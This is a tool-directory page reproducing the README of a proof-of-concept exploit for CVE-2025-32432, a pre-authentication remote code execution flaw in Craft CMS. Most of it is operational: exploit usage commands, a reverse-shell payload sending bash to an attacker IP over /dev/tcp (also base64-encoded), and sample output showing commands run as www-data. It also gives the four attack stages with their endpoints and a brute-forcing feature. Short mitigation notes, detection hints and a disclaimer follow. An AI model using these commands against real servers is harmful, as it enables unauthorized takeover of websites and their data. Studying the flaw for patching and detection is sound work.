Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32432 — Exploit, POC for CVE-2025-32432, CraftCMS2Shell | Kitploit
Tools/GitHubGitHub/c0gnit00/cve-2025-32432
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubc0gnit00/cve-2025-32432

CVE-2025-32432

Exploit, POC for CVE-2025-32432, CraftCMS2Shell

View Repository
321 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-32432 Craft CMS Pre-Auth RCE PoC

Critical Pre-Authentication Remote Code Execution in Craft CMS

Affected: Craft CMS 3.x, 4.x, and 5.x (up to 5.6.16)

Info: This exploit is tested against HackTheBox Orion machine

Overview

This repository contains a proof-of-concept exploit for CVE-2025-32432, a critical pre-authentication remote code execution vulnerability in Craft CMS. The vulnerability allows an unauthenticated attacker to execute arbitrary PHP code on the server by exploiting Yii2's behavior attachment mechanism and PHP object instantiation via the __class override technique.

CVSS Score: 10.0 (Critical)

Features

  • Pre-auth exploitation — No login credentials required
  • Universal compatibility — Works across Craft CMS 3.x, 4.x, and 5.x
  • Auto asset ID discovery — Brute-forces valid asset IDs automatically
  • CSRF token extraction — Automatically handles Craft CMS CSRF protection
  • Session path fallback — Auto-retries alternative PHP session paths if the first fails

Requirements

root@kitploit:~
pip install requests urllib3
Download Tool

Quick Start

Basic Command Execution

root@kitploit:~
python3 exploit.py -u http://target.com -c "id"

Reverse Shell

root@kitploit:~
# Start listener on your machine
penelope -p 4444

# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64


# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"

Skip Asset ID Brute-Force (if known)

root@kitploit:~
python3 exploit.py -u http://target.com -c "whoami" -a 11

Use Alternative Session Path

root@kitploit:~
python3 exploit.py -u http://target.com -c "id" \
  -s "/tmp/sess_{}"

Usage

root@kitploit:~
usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
                                [-s SESSION_PATH] [-q]

CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2

options:
  -h, --help            show this help message and exit
  -u, --url URL         Target URL (e.g., http://target.com)
  -c, --command COMMAND
                        Command to execute
  -a, --asset-id ASSET_ID
                        Known valid asset ID (skip brute-force)
  -m, --max-asset MAX_ASSET
                        Max asset ID to brute-force (default: 300)
  -s, --session-path SESSION_PATH
                        Session file path template (default: /var/lib/php/sessions/sess_{})
  -q, --quiet           Suppress verbose output

Example Output

root@kitploit:~
$ python3 exploit.py -u http://orion.htb -c "id"

╔══════════════════════════════════════════════════════════════╗
║  CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2              ║
║  Target: http://orion.htb                                  ║
║  Command: id                                                  ║
╚══════════════════════════════════════════════════════════════╝

[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

Exploit Stages

StageActionEndpointAuth
1Extract session cookie + CSRF tokenGET /admin/loginNo
2Inject PHP payload into session fileGET /index.php?p=admin/dashboard&a=<PHP>No
3Brute-force valid asset IDPOST /index.php?p=admin/actions/assets/generate-transformNo
4Trigger RCE via PhpManager gadgetPOST /index.php?p=admin/actions/assets/generate-transform&cmd=<CMD>No

Affected Versions

BranchAffectedFixed
3.x3.0.0-RC1 – 3.9.143.9.15+
4.x4.0.0-RC1 – 4.14.144.14.15+
5.x5.0.0-RC1 – 5.6.165.6.17+

Mitigation

  1. Upgrade immediately to the latest patched version
  2. Monitor logs for:
    • Multiple POST requests to /admin/actions/assets/generate-transform
    • GET requests to admin pages with a= parameter containing PHP code
    • Presence of as fields in POST request bodies
  3. Enable WAF rules to block suspicious patterns

Credits

  • Original discovery: Orange Cyberdefense / SensePost
  • Blog post: Investigating an in-the-wild campaign using RCE in CraftCMS
  • PoC author: Based on SensePost's research, adapted for HTB/penetration testing

Disclaimer

This tool is for authorized security testing and research purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.

License

MIT License - See LICENSE file for details.